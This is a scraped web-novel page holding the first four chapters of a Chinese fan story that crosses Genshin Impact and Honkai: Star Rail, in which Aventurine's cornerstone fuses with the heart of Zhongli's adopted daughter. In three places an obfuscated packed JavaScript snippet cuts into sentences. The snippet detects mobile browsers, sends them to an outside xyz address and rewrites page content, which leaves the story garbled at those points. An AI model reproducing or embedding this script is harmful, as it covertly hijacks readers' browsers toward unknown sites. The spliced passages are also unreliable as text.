《[原崩]砂金啃了帝君小棉袄》 1. 第1章 “钟离先生,您要不再考虑考虑吧,错过这个村可没这家店了!我家有良田三亩、祖宅两栋,我儿子长相俊俏、熟读诗书、情感单纯,保准是能让您满意的女婿!” 听着中年男人油腻圆滑的话术,钟羽蓁默默收回了准备从窗户上翻出去的腿。 她转身退到走廊,伸手推开隔壁房间房门,抱着双臂礼貌微笑:“请问您儿子有魈那么俊美吗?” “……魈?额,不认识。”中年男人摇头。 “有行秋那么博学吗?” 中年男人摸了一把拉碴的胡子,只两秒就恢复了自信:“这……差不多,差不多哈哈哈。” “有凝光那么有钱吗?” “没有……但、但你也不可能嫁给女人对吧?”中年男人看着钟离,希望能得到他的赞许。 “能啊,为什么不能?有哪条律法规定女人不能跟女人结婚吗?”钟羽蓁摊手,一副终于决定袒露心声的模样,“实不相瞒,我这人就是俗,爱钱且无所谓性别。您看您有没有熟人认识凝光,可以的话,帮忙跟她说一声呗,如果她不嫌弃,我绝对是愿意跟她结婚的!” 说着,钟羽蓁还睁大双眼往前一步,期待地看着中年男人。 “你!这……简直是无理、蛮横!”中年男人似乎被钟羽蓁气到了,捂着胸口一阵喘气。 钟离收回准备递茶的动作,声音温和但疏远:“抱歉,小女没有此意,我也不好强求。” “怎么不好强求呢?”中年男人摆出准备好的婚书和聘礼清单,“父母之命媒妁之言,儿女的婚事自然是我们说了的算!再说了,考虑到你们家境贫穷,我们都不要嫁妆了,等你老了我儿子还能帮你养老呢!” “您说得很有道理。”钟羽蓁坐下,好整以暇地给自己倒了一杯茶,有些难为情地摇摇头,“只可惜……第一,我只是爹爹捡的,谈不上什么‘父母之命’。第二,哪怕是您儿子死了,我爹爹都还能活得好好的。” 虽然是大实话,钟离怕把人家气得原地去世,只能轻咳一声控场道:“小女年幼说话不懂得收敛,还请您见谅。关于婚事一事,多谢田沃兄的厚爱,也祝愿你儿子能找到一门好亲事。” 钟离说的场面话,楚田沃一句都没听进去,他指着钟羽蓁,佝着背原地蹦了起来:“要不是这小丫头有几分姿色,谁看得上你们家似的!一个单身汉带一女娃,连个像样的房子都租不起,还干份那么不吉利的工作,我看你上哪去找女婿!我呸!” 看,破防了。 钟羽蓁撇嘴看着中年男人黑脸甩袖出门的身影,做了个鬼脸,赶在钟离说话之前,一把抱住他的手臂:“爹爹,我们今天中午吃什么呀?” 说着,钟羽蓁往钟离的手臂上蹭了蹭,耳朵上方的耳羽毛茸茸的像丛蒲公英,她将金色的长发披在身后,为了省事只戴了顶圆鼓的水母帽。 漂亮的小玄凤长大成人也同样明艳俏皮。 钟离这般感叹道,伸手拍了拍钟羽蓁的脑袋:“都要成年了还没记住爹爹的话。男女有别,就算是跟爹爹和魈,也得保持距离。” “哦……”钟羽蓁默默收回手臂。 钟离问:“说起来,你天天在璃月港闲逛,有没有遇到过心仪的男性?” “我对男人才不感兴趣呢。”钟羽蓁摇摇脑袋,“我可是要征服提瓦特的人!区区男人,只会阻碍我出枪的速度。” 而且,她现在又多了一项任务,她要给爹爹找一份包养老的工作。 不过呢,爹爹他正值中年,是适合闯的年纪。她不想为了爹爹驻足璃月,爹爹也不该为了她屈居往生堂。 当然不是说往生堂不好,往生堂还包员工死后服务呢,就是……没什么升职的空间了。 总不能把胡桃拽下来自己做堂主吧? 钟羽蓁这么胡思乱想着,突然睁大双眼:“完了,我忘记我还约了七七!爹爹,我先走了,午饭我在香菱家吃,你自己记得按时吃饭!” 看着钟羽蓁离开的背影,钟离直摇头,这欢脱跳跃的性子也不知道什么时候能改改。 算了,他不指望羽蓁能有多成熟稳定,她过得开心就好。 毕竟家里沉闷的孩子,光是魈这一位就足够让他心疼的了。 十八年前,提瓦特星空之上突然闪过一道金色的光芒,光芒携着陨石般的透明体降落璃月,钟离赶过去的时候,只看到了一只巴掌大的玄凤。 他将玄凤带回奥藏山,不料只几个时辰的功夫,小玄凤竟吸收山中仙气化成了婴儿形态。 钟离给婴儿取名羽蓁,将她带在身边,等待她家人来寻找的那天。 谁知给璃月港添加一份热闹的同时,钟离也为自己找了个大麻烦。 他只想退休看看戏品品茶,小女儿却成天嚷嚷着征服提瓦特。 人嘛,总归要出去闯闯,玩累了才知道安逸的好。 于是钟离点点头,许可钟羽蓁成年后可自由探索提瓦特。而明日就是钟羽蓁十八岁的生辰。 “轻策庄的茶叶……可惜没有懂茶的人陪我同饮。”钟离给自己倒了杯新的烟霞蔽芾,开始回想楚田沃的话。 虽然清楚每个人都有属于自己的人生轨道,哪怕是身为父亲的他也无法干涉。可钟离一想到自己捧在手上的宝贝女儿未来哪天可能会被某个臭男人欺负,就觉得茶香都变淡了不少。 钟离摇着头细细品了一口茶,语气悠长地感叹道:“不结婚也挺好。” 钟羽蓁一路赶到跟七七约好的山坡上时,七七已经背着背篓等了很久,风将她额头上的符咒吹得呼呼作响。 七七连忙伸手捂住,语气缓慢地道:“七七……等了羽蓁……很久、很久。” “啊!抱歉啦,都怪那个普通又自信的大叔,害我来晚了……”钟羽蓁无辜地朝七七眨眨眼,“今天我们比赛摘什么草药?有图吗?” 这是钟羽蓁想出来打发时间的消遣方法,跟采药小天才七七比赛谁在一个时辰内摘的草药更多。 虽然……钟羽蓁一次也没赢过。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15598681|171967||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有……很多……”七七从背篓里取出一本绘着图的草药清单给钟羽蓁。 “没问题!我们现在就可以开始比了,不过……我忘记带小锄头了,能分我一个吗?”说着,钟羽蓁再度可怜兮兮地眨了眨眼睛。 拿着小锄头和清单,钟羽蓁在脑海的地图上大致勾勒出了几个圈。附近的草药都被不卜庐采得差不多了,她决定去偏远一点的地方,看能不能运气好赢过七七。 虽然野外经常有不安好心的盗宝团、神出鬼没的魔物,有时候还会碰到聚在一起不知道讨论什么的愚人众,但钟羽蓁一点都不担心。 第一,她是萍姥姥和爹爹共同指导出来的长枪高手;第二,璃月有魈在。 除此之外…… 钟羽蓁伸手将挂在脖颈上的小石头旋转了一圈,这是爹爹送她的护身符,说可以在危机的时候保她性命。 只不过有没有用她并不清楚,因为她暂时还未触发过保护机制。 琉璃袋,三个紫色的小铃铛。 钟羽蓁在心里念叨着,走路的同时快速扫视面前的山崖,很快就在悬崖峭壁上找到了好几株。 她绕开大树,在连绵的山崖底下看到了一扇圆形的门,门里还有一颗巨大的金色透明石头,石头在阳光的照耀下闪烁着神秘且诡异的光芒。 钟羽蓁似乎闻到了里面清新的草药香,她拿起锄头好奇地走了过去。 锄头敲打在石头上,发出不痛不痒的清脆击打声。 钟羽蓁不信邪地将袖子挽起来,稳住重心后,拿起锄头借力又一次砸向了石头。 强大的反作用力瞬间把钟羽蓁震到了门上,她看见石头裂出了一条缝,紧接着刺眼的光芒像锥子一样击中了她的太阳穴。 天旋地转之间,钟羽蓁倏地昏睡了过去。 一颗金色的石头突破空间,出现在视野中,挂在钟羽蓁脖子上的项链似乎感应到了什么,颤动不已。 “胆子可真大啊,连公司的东西都敢下手。” 张扬散漫的声音在山洞上空响起,一双戴着黑色短手套的手掌轻松撕碎裂空,黑色皮鞋踩在地上。 砂金的目光掠过昏倒在地上的钟羽蓁,落在漂浮于空中的砂金石上。 他一只手控制时空裂缝,另一只手朝砂金石伸去,不料就在碰到砂金石的前一秒,眼前突然闪过一道强光。 “呵,低劣的手段……” 砂金微眯双眼,再看清楚眼前的一切时,发现他的砂金石正与地上少女的心脏…… 慢慢融合。 “可真是见鬼了。”砂金揉了揉眼睛,确认自己没看错,从时空裂缝走出来,眼神逐渐变得危险。 他伸出手决定速战速决,可笑的是,他的砂金石却自觉在少女周身护起了一道屏障。 砂金被气笑到沉默了两秒:“朋友,你知道谁才是你的主人吗?” 回应他的,是砂金石更为耀眼的光芒。 很好,他刚听说匹诺康尼的任务,才把计划做好,就丢了砂金石。 2. 第2章 砂金环顾着四周,眼前所有的物品都是深紫色的,石头、野草、地面,一切都散发着诡秘幽深的光芒,他甚至能察觉到远处不断靠近的魔物。 不清楚这是哪个星球,但砂金心想,当务之急是先去一个安全的地方。 他步伐轻松地往前走去,意外地发现小偷是位漂亮的小姐。 少女斜躺在不知名的野草上,翘长的睫毛像浓郁的鸦羽,五官精致得宛如某位教授做出的雕塑艺品,毛茸的耳羽还散发着与小偷身份十分违和的可爱。 她身上穿着仙舟风格的华裙,材质绣工都是上等,看上去不像是缺钱的人。 如果说她偷砂金石不是为了赏金,那又是为了什么呢? 砂金想不通,索性拦腰把她抱了起来,决定先走出面前那道门再说。 他甚至停下脚步,贴心地捡起掉落在远处的圆帽,戴在了小偷小姐的头上。 跨上绿草地的一瞬间,身后的门轰然关闭,消失在砂金眼前。 他将小偷小姐放在草地上,把定位记在手机里,听见远处有轻盈且迅速的步伐声响起。 想必是小偷小姐的同伙。 砂金撑着下巴想了两秒,转身隐在了大树后。 “羽蓁……”七七将脑袋凑在钟羽蓁面前,确认她呼吸平稳,长舒一口气,“七七……背你……回家……” 好痛。 像有无数密密麻麻的针在扎她的五脏六腑,尤其是心脏,每一阵痛都让她喘不过气来。 “七七,放我……下来。” 钟羽蓁找到重心,撑着七七的背站了起来。 七七迷惑地看着她:“羽蓁……学我……说话……” “我……没有学你说话。”钟羽蓁深吸一口气,苍白着脸挥了挥手,“只是心脏不知道为什么疼得有些厉害。” 猜到七七想说什么,钟羽蓁连忙摇头:“不用去不卜庐,我缓一下就好了。对了,刚才……发生了什么?我记得我在用锄头砸那个石头,然后就被弹开了……” “七七……不知道……” “好吧。”钟羽蓁捧着七七的脸,认真地看着她,“答应我,不要把我不舒服的事情告诉别人,我不希望大家担心。” 七七似懂非懂地点了点头,指着自己满箩筐的琉璃袋:“七七……赢了。” “没错,你赢了。”钟羽蓁摊手,帮七七背起竹篓,吐槽着琉璃袋难采,身影渐渐远去。 砂金从大树后走出来,若有所思地撑着下巴。 如果说她的确不知情,那砂金石又是怎么回事? 而且,这里也不是仙舟。 更像是一个星球,或者说…… 一块大陆。 砂金拿出手机将定位发出去,请求业务巩固部帮忙确定位置,他则跟在了“羽蓁”身后。 没一会,公司发来邮件,说他所在的地方是一个名为提瓦特的大陆,一共有七个国家,为七位神明所管理。 幸运的是,他能简单了解这个世界的构成和历史; 不幸的是,哪怕是公司,对提瓦特大陆已知的信息也不多。 不过,砂金知道该从哪里入手了。 他的手指轻轻敲打着手机屏幕,目光落在信息来源处登记的名字上。 愚人众第二席博士。 砂金迅速把资料浏览完,简单向公司请了个假,关上手机放进口袋,绚彩的眼眸里闪过一丝兴味。 提瓦特么? 虽然跟公司没有什么利益拉扯,但看上去,是块比匹诺康尼更难啃的骨头。 跟七七分别后,钟羽蓁捂着隐隐作痛的心脏朝万民堂走去。 她感觉脑袋里像是有根弦,心脏痛的同时也拨动着这根弦,让她整个人都很烦躁,尤其是……突然被人堵在烈日底下。 “你就是钟羽蓁?听说你爹是赚死人钱的?真不知道你哪来的自信,敢拒绝我兄弟楚闻源的!” “诶,你们看她裙子那么乱,该不会是……刚从哪个男人床上爬出来的吧?” 说着,几个男人挤着眉头互相对视后,毫不掩饰地捧着肚子笑出声来。 恶心。 如果是平时,钟羽蓁一定把他们衣服扒光挂在璃月港最高的那棵树上。 但她今天心情实在是不好,连回嘴的兴致都没有。 钟羽蓁随手找过路老奶奶借了根拐杖。拐杖在她手里宛如翻花,只用了几招就把男人们像狗一样打趴在了地上。 看着几个男人脸上青一块紫一块的杰作,钟羽蓁勉强舒了一口气。 她扯了下嘴角,露出皓齿:“去不卜庐看伤可以报我名字,打九折。不过……白大夫应该不会给你们看病。嗯~毕竟不卜庐从来不给狗治病。” 少女脸上带着明艳的笑,说出来的话却让几个男人的脸色变得更加黑沉起来。 但他们捂着酸痛的腿,半个字也不敢吱声,生怕又是一顿暴打。 这么废也敢出来□□。 钟羽蓁也算是开眼了,她将拐杖还回去,谢过老奶奶后,在路人惊诧的注视下,连个多余的眼神都懒得给地朝前走去。 但凡他们多读一点书都知道她爹爹有多博学。 工作、资产和出身从来不是判定一个人是否值得深交的标准。 真是奇怪,不涉及利益时一个个眼巴巴地上赶着跟她爹爹多说两句话。 一不如意了就拿他的工作来攻击人,还开她的黄腔。 不行,太恶心了。 钟羽蓁晃了晃脑袋,感觉里面沉沉的,像是有一片海在漂浮。 没有哭泣,也不自证,一点都不内耗。 有点意思。 砂金目不转睛地盯着钟羽蓁的背影,脸上的招牌笑容愈深了些。 他看见几个男人畏畏缩缩地搀扶着彼此站起来,他们看着钟羽蓁的眼神不甘又贪婪。 羞辱没有让他们退却,反而更加坚定了报复回来的决心。 “听我爹说,她的择偶标准是:貌美如魈、聪明似行秋、有钱堪比凝光大人,你们说……世界上真的会有这样的人吗?” 楚闻源看着远处,喃喃地问道。 “这你也信,就是随口说出来羞辱你爹的话罢了!” 对于这话,砂金纯当听个乐子。 不过凝光他是知道的,资料中璃月最有钱的女人。 所以……钱给得到位的话,钟羽蓁应该会愿意让他取出砂金石吧? 就是不知道要给多少,她才肯松开。 毕竟是对心脏动手,稍不留神小命就没了。 走过小木桥,钟羽蓁转眼就被路边的赌石摊吸引住了。 白色的布上摆满了大小、形状不一但颜色一致的灰色石头,赌石的人围了一圈又一圈。 钟羽蓁掂量了两下口袋里爹爹昨天拿给她的盘缠,想着靠赌石来让摩拉翻一番。她观察了老半天,终于等到她挑选石头了。 就试一次,一次。 钟羽蓁这么想着,端起石头看了许久,都没觉得有什么特殊的。 于是她随手拍了拍面前的那颗,将摩拉递给老板。 “好勒,马上帮您开!”老板接过摩拉和石头,拿着解石器一阵捣鼓,“干青,材质下乘。不过,加工了可以做手镯,只需要500摩拉即可,您需要加工吗?” 钟羽蓁观察过了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15598682|171967||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这加工费还不够她回本的:“不用,再帮我开一些。这个、这个,还有这个!” 挑十个总能开出一颗好的吧? 她就不信她运气这么差! 老板的笑容有一瞬间瓦解,但看到钟羽蓁出手阔绰,脸上很快就重新扬起了笑容:“没问题,您稍等!” 少女蹲在赌石摊前,金色的长发随着动作从肩头滑落,她两旁毛茸茸的耳羽跟着风蒲公英般颤抖。 砂金意外地勾起嘴角,看样子,没有他想象中的那么天真好骗,还是有点小聪明在的。 就是……这运气实在差到让他沉默。 不只是砂金,就连赌石摊的老板看到钟羽蓁这么衰,都变了脸:“我……我这可没有玩赖啊!你看到了的,也还是有人能开出好石头的。” “……我知道。” 不就是怕被她砸摊子吗? 钟羽蓁掂量了一下钱袋,表情渐渐恹了下来,由坦然接受变成痛苦,再由痛苦变成绝望。 别说是游历七国了,这钱怕是只够在野外租一个干巴巴的毛坯房。 砂金摇头轻笑一声,迈着张扬又轻快的步伐走上前,蹲在钟羽蓁身旁,修长的手指任意搭在其中一块石头上:“选这颗。朋友,别犹豫……所有,或者一无所有——” 温热的呼吸落在钟羽蓁耳畔,青年散漫而上扬的嗓音像一柄小钩子,瞬间让她的心跳快了起来。 钟羽蓁侧过头,看到一双漂亮的炫彩眼眸,没有高光,蓝色紫色重叠,像死海尽头平静的彩虹。 太美了。 美到轻易就能掀起惊涛骇浪。 他的笑容带着蛊惑,挂在耳上的孔雀羽饰轻轻颤抖,脖颈处的纹印神秘而魅惑。 不仅如此,他的着装也十分独特,是钟羽蓁从未见过的,精致而大胆,爱心的奶窗更是看得她一阵脸红。 唔…… 而且他好香。 不同于莺儿姐姐那里的香膏,青年身上淡淡的体香,好闻到让钟羽蓁眯起了眼睛。 下一秒,她本能地察觉到男人身上的危险气息,一把将他推远了些。 萍姥姥说过,要警惕漂亮但莫名好心的男人。 因为他的出现肯定是带着目的的。 虽然当时钟羽蓁忙着学习长枪,但萍姥姥的话,她一句都没少听。 哦?竟然比他预想中的要警惕。 砂金感兴趣地勾起嘴角,抬手退到一旁,无辜地眨了眨眼睛:“当然,朋友,选择的权利还是在你自己手上。” 说着,砂金脾气很好地理了理被弄皱的衣领。 就算是被钟羽蓁推了一把,青年的脸上依旧挂着优雅自信的笑容,但钟羽蓁是玄凤,小鸟甚至能感知到百米外人类的恶意。 所以她很确定,他的笑容没有达眼底。 也就是说,他接近她并不是想跟她谈莺儿姐姐所说的让人脸红心跳的恋爱。 那是为了什么? 钟羽蓁必须承认,此男从外貌到穿着都很戳她的审美,但她不想体会“谈恋爱后变得不像自己”的体验,所以得一开始就离得远远的。 爹爹说,这叫提前规避风险。 就好比女孩子在外面喝酒的时候,明明知道自己会喝醉,就绝不能贪口腹之欲、将自己置于危险境地。 直觉告诉钟羽蓁,青年就是这样一种会让人上瘾的酒。 钟羽蓁将这些乱七八糟的想法抛到脑后,想着她征服提瓦特的梦想,犹豫一下,选中了青年所说的那颗石头,将最后的一点摩拉也扔了过去。 拜托了让她中一次吧! 她可不想旅途第二站是去璃月港搬货物赚钱啊。 3. 第3章 老板比钟羽蓁还忐忑地接过钱袋,咽咽口水,启动了解石器。 机器轰轰地响,切落阵阵灰尘,他轻轻掰开石头,看清楚里面的材质时,浑身颤抖,差点整个人连同机器一起摔在了地上:“岩……岩王帝君庇佑,我这小摊竟然能开出上乘的翡翠!至少得值十万摩拉啊……” 这跟岩王帝君有什么关系? 钟羽蓁无语地撇撇嘴,她果然还是更喜欢跟爹爹他们待在一起,他们从来不会将自己的努力和好运归咎于神明身上。 “我该把这块翡翠卖给老板吗?”钟羽蓁扭头望向边上的青年,她对这些石头的价格并不了解,有些做不下决定。 “不该。”砂金摇摇头,不知何时出现的筹码在手指上灵活滚动,“抛出去,这只是一枚筹码。而赌一把,有可能获得更高的利润。朋友,如果我是你——不会放弃以一枚筹码换取200%利润的机会。” 这个钟羽蓁还不知道名字的青年有着迷人的身姿,他的笑容从出现时便一直挂在脸上,自信且张扬。 说话的时候,他漂亮的三重眸看着钟羽蓁,真诚又坦然,让她无法拒绝。 钟羽蓁接过老板手里的翡翠石,递给砂金:“给你了。反正……也是你选中的。” 什么筹码利润的,她听不太懂,一看就是个骗子。 没办法…… 她总是无法忽视漂亮小鸟的需求。 钟羽蓁叹了口气,想起曾经有只小团雀在她窗口骗了一个月的鸟食。 对于钟羽蓁的决定,砂金有些诧异,他收好筹码,把玩着手里并没有任何特殊力量的翡翠石,视线缓缓落回了钟羽蓁身上:“钟小姐,我们谈笔交易吧。” 匹诺康尼的回收计划必须按时进行,他没有时间浪费,得尽快取回砂金石。 “我都把翡翠免费送给你了,你还想跟我谈交易?是不是太贪心了点。”钟羽蓁没好气地抱着双臂,沉默两秒,“……什么交易?” 果然,他就知道。 没有人能抑制住好奇心。 砂金用右手大拇指和食指捻起翡翠,使之在太阳下呈现出绿色的光辉:“我用这块石头给你赚两百万信……摩拉,而你、做我的合伙人,以后所赚的摩拉,我们五五分,如何?” 是很诱惑的条件。 但她什么力都不用出就能获得天价酬劳,一看就…… 是个陷阱。 而且,价值十万的翡翠能赚两百万? 她又不是傻子。 钟羽蓁注视着那双真挚漂亮的绚彩眼眸,决定再听听后面的话能有多离谱:“然后呢?总还有其他附加条件吧?你明明有‘以钱生钱’的本事,为什么不自己单干?” ——这个问题的答案,是他们合伙的敲门砖。 砂金猜想钟羽蓁想要的答案并不是好听的话,于是无奈地摊手叹了口气:“确实另有所图,有一件事想请钟小姐帮忙。” “我不做违法犯罪的事,有违道德的也不行。” 砂金笑着保证:“自然都不是。实不相瞒,我不幸与族人意外分别,此时此刻除了这身行头,身上连一摩拉都没有。真希望重逢的时候……能通过跟钟小姐的努力,让他们看到我幸福、健康、富裕的样子啊。” 只可惜,不会有重逢那天了。 钟羽蓁看见青年那双漂亮的眼眸在颤抖,差点被他身上的破碎感所蛊惑,她回过神来时,防备还是卸下了不少:“你知道我的身份,我还不清楚你的名字呢。” “不才砂金,隶属……提瓦特流浪群体,很高兴能和钟小姐合作。”说着,砂金优雅地伸出了手。 财富和幸福,他靠自己就能获得;想必找上她,是为了健康吧。 毕竟她跟不卜庐的白先生、七七关系亲近,是整个璃月港的人都知道的。 短暂地思索过后,钟羽蓁选择了相信。 她就看看也不会损失什么,如果砂金不能如约拿来两百万摩拉,契约还可以原地结束。 这里是提瓦特大陆、是璃月、是岩王爷的地盘,她不担心砂金违背契约。 “合作愉快。”钟羽蓁松了口气,伸出手与砂金的手掌轻轻重叠后迅速分开,丝毫没有留意到他的目光短暂在她胸口停留了一秒。 钟羽蓁环顾四周,指着马路对面的大树道:“后天早上,我们在那集合。希望你能如约带上两百万摩拉。” 说实话,钟羽蓁觉得砂金选错了合作对象。她全身上下就那袋子摩拉,现在还变成了一块称不上罕见的翡翠。 要论其他利用价值……这就得看他对她的了解有多深了。 钟羽蓁从小跟萍姥姥学长枪,机关术更是深得闲云阿姨真传,上到绫罗绸缎、下到鸟类鱼饵,都能跟璃月港的人聊上几句。 除此之外,她对草药稍有了解,甚至略懂往生堂除魔驱邪的秘法,法典条文也能信手拈来。 钟羽蓁站在万民堂门口,看着翻跟头的锅巴,若有所思地支着自己的下巴。 不管砂金为什么会在茫茫璃月港相中她这个合伙人,她现在要做的就是让他看到她的价值,将合作关系长期确定下来。 否则,就算有契约在,他也会想办法甩手单干。 钟羽蓁捂住脑袋,无奈地摇了摇头,她真是前一段时间跟凝光待久了,都在不知不觉中学到了她精打细算、目光长远的习惯。 “怎么样?很开心吧,明天就能自由去探索七国了!” 一位蓝色短发的少女掀开布帘,端着菜走了出来,她脑后的两个麻花辫在头顶绕成圆形状,看上去活泼又开朗。 “当然开心了!”钟羽蓁跟着一同走进后厨,忍不住向好朋友喋喋不休地吐槽,“就是……还没出璃月港就把爹爹给我做盘缠的摩拉全输光了。” “什么?!全输光了?羽蓁——”香菱突然提高的声音把一旁自己玩乐的锅巴都吓了一跳。 “好啦好啦,我知道错了,不要用训斥锅巴的语气喊我啦……”钟羽蓁嬉笑着给香菱捶了捶肩膀,鬼灵精怪地眨眨眼,“别担心,我已经找到一起赚钱的合伙人了!” 香菱生气地叉着腰:“能不担心才怪!你是不知道,那些商人惯会骗人了,依我看啊,你还不如回去好好跟你爹撒撒娇,重新要点摩拉。” “那不行!他肯定就不准我出去了。”钟羽蓁眼睛一转,转移了话题,“再怎么奸诈的商人也别想从本小姐的长枪下逃脱,你不相信我,总得相信萍姥姥教的枪术吧?” 香菱想了想,觉得有些道理,于是拿出菜单开始让钟羽蓁决定中午吃什么。 突兀的铃声在北国银行门口响起,在接待员惊诧的注视下,砂金抱歉地摊手,从口袋里掏出手机摁下了接听键:“翡翠女士?你打电话过来,是还在犹豫我的提议吗?” 电话那头,一双绘着紫色美甲的手端起桌上的红酒轻轻晃了晃,手腕处的翡翠手镯随着动作滑落至小臂处。 砂金听见一声优雅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15598683|171967||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的轻笑,似乎早就看穿了他紧张的模样。 “看你发给业务巩固部的定位,似乎是在一个与公司没有任何利益往来的大陆。”翡翠直指话题关键,“没有刻意隐瞒行踪,是有事情想请我帮忙,又不好意思开口吧?” “翡翠女士还是一如既往地体贴入微、善解人意呢。”夸过后砂金也不再客气,他略带苦恼地叹了口气,“实不相瞒,我请假不是为了休息,而是……我的砂金石莫名其妙镶进了这个大陆的一位漂亮小姑娘心脏里。” 翡翠缓缓放下酒杯,如果不是她了解砂金的性格,当真要以为他在开玩笑了。 “原来是这样……你想取回砂金石,又怕伤害到她?”翡翠伸出食指,轻轻敲打在酒杯上,“确实有些麻烦。我在丹鼎司有认识的医士,你可以先将她带回来再另想办法。” 砂金站在北国银行的木扶手前,无奈地叹了口气:“这就是问题所在了,翡翠女士。砂金石护着她,我根本没法动手,只能……等她自愿了。” 说是砂金石护着,但他真想动手,基石不还得听主人的? 翡翠没有拆穿砂金的谎言,不涉及公司利益,她并不介意砂金和托帕保留着自己的原则。 “我会让丹鼎司的医士尽快出一份摘取方案发给你,你有一周的时间把她带回公司。毕竟,匹诺康尼的任务只此一份。另外,我需要提醒你的是——你所发的定位,检测到了格睦斯星的遗留物质。”* “收到,我会注意的,谢谢你翡翠女士~”砂金挂完电话,隐隐猜到砂金石会来提瓦特大陆和那个空间的遗留物质有关。 格睦斯星…… 一个发生星神失踪事件、势力极为复杂的星球。 说不定他以后去那出差,当然,这是后话了。 砂金准备将手机放回口袋,看见托帕发来一连串消息。 「这可一点都不符合你的作风,放着有望升级的项目不干,请个了一周大长假?」 「小心你旅完游回来,我都成了你顶头上司。」 「不对劲,不对劲……到底发生了什么,砂金?」 作为公司最有力的竞争对手,托帕自认为她对砂金还算了解,作为一名极致的赌徒,他绝不会放着巨大的赌桌不管,去搞什么无聊的旅游。 砂金点开对话框,手指在屏幕上飞快地跳动。 「是吗?没记错的话,现在我应该算是你的上级吧。虽然清楚你反超的可能性为0%,不过……还是祝你美梦早日成真。」 然后他为了不引人注意,将手机调成震动扔进了口袋。 手再顺着西服裤袋出来的时候,砂金手上多了那枚普通的翡翠石。 他本想将这块石头扔上赌桌,但显然他此刻没有这么多的时间了。 所以,他得另谋……一个赌局。 砂金能看出来,钟羽蓁并不相信他能用这枚翡翠兑换两百万摩拉。所以,这只是他下意识的话术。 实际上,能不能换到摩拉并不重要,他需要展示的是他有将筹码翻倍的本事。 这样,即使他提出请求后她拒绝跟他回公司,他手上的骰子也会成为她无法拒绝的诱惑。 砂金这样想着,开始盘算如何利用面前的北国银行来创造有价值的骰子。 翡翠女士的办事效率快到惊人,就在砂金准备迈出步伐的时候,他收到了来自丹鼎司的信件。 看清楚信件内容后—— 砂金笑不出来了。 4. 第4章 「用持明族的力量即可取出,但仙舟医士没有十足把握。建议前往匹诺康尼,配合医疗舱、砂金石里的存护力量进行开刀手术。另外,已帮您咨询,鉴于情况特殊,病患的主观意识配合能提高摘取成功几率。」 还有一种办法,强行摘取,不管钟羽蓁的死活。 砂金是个赌徒,将自己的性命抛上赌桌是他的一贯作风。 但他没法、也没有资格主宰别人的命运。 所以,得让钟羽蓁自愿进行手术。 真是……令人抓狂呢。 砂金捂住脑袋,柔软的金色头发滑落至指尖,他不确定在钟羽蓁心中,天价摩拉值不值得赌上性命。 算了,先着手于眼前的麻烦吧。 砂金走进北国银行大厅,柜台后两位戴着半脸面具、穿着黑袍制服的人边用毛笔记录账单,边小声感叹。 “唉,做执行官可真好呐,「公子」大人派人又来取了五十万摩拉,结果存款数字背后的零还是多得让人眼花缭乱……” “羡慕归羡慕,那位大人干的也都是我们做不了的事。真给你这么多钱,让你成天处于纷争之中,你愿意吗?” “那倒也是……羡慕不来,我还是好好做好自己的本职工作吧。” 说着,黄色卷发男人停下手里的毛笔,抬头询问:“这位客户要办理什么业务呢?” 他看清楚砂金的外貌和穿着,立马眼前一亮,笑容真情实切地蔓延到耳后:“是陌生的贵客呢,您要不要了解一下我们的保险和三种理财方式?” 砂金见接待员的眼神扫过他的毛绒衣领、绿黑色西服,最终落在他戴着奢华手表和宝石戒指的手上,满意地勾起嘴角:“多托雷在吗?我找他有点事。” 多托雷,愚人众第二席执行官「博士」的名字。 砂金对这种有可利用价值的信息一贯敏感,看了一眼便记住了。 突然听见穿着华丽的客人在北国银行大厅里提起博士的名字,柜台后的接待员都是一愣,下意识就站起了身。 砂金并不清楚愚人众内部是什么情况,但他从这些接待员的反应看出来了,博士不在这附近。 他摊手,黑色手套上的几枚黄金戒指在灯光下璀璨耀眼:“博士不在,公子总在吧?” 砂金的笑太自信了,举手投足之间都是上位者的优雅,立马就有招待员报出了公子的去向,还说亲自带他去找。 “那就麻烦你了,这位朋友。”砂金微不可见地叹息一声。 没有手机、钱财不以信用点的方式流通,难怪公司都不愿意牵扯进来。 简直就是……从零开始啊。 火苗从灶台上升起,香菱动作利落地将切好的绝云椒椒扔进锅里,颠锅的同时发现钟羽蓁在跟马路对面树下的老奶奶聊着什么。 没一会,钟羽蓁走了回来,香菱无奈地叹气:“你不应该给冬祁姥姥钱的,她那个孙子,三天两头地出去鬼混,现在还被打得躺到了床上起不来。依我看啊,最好的办法就是大家不管她、她不管她孙子,这样她孙子才能成熟起来。” “好啦……我知道了。” “你不是自己都没摩拉花了吗?竟然还想着帮别人……”香菱端起铁锅,将热油倒在水煮鱼上,发出呲啦的响声。 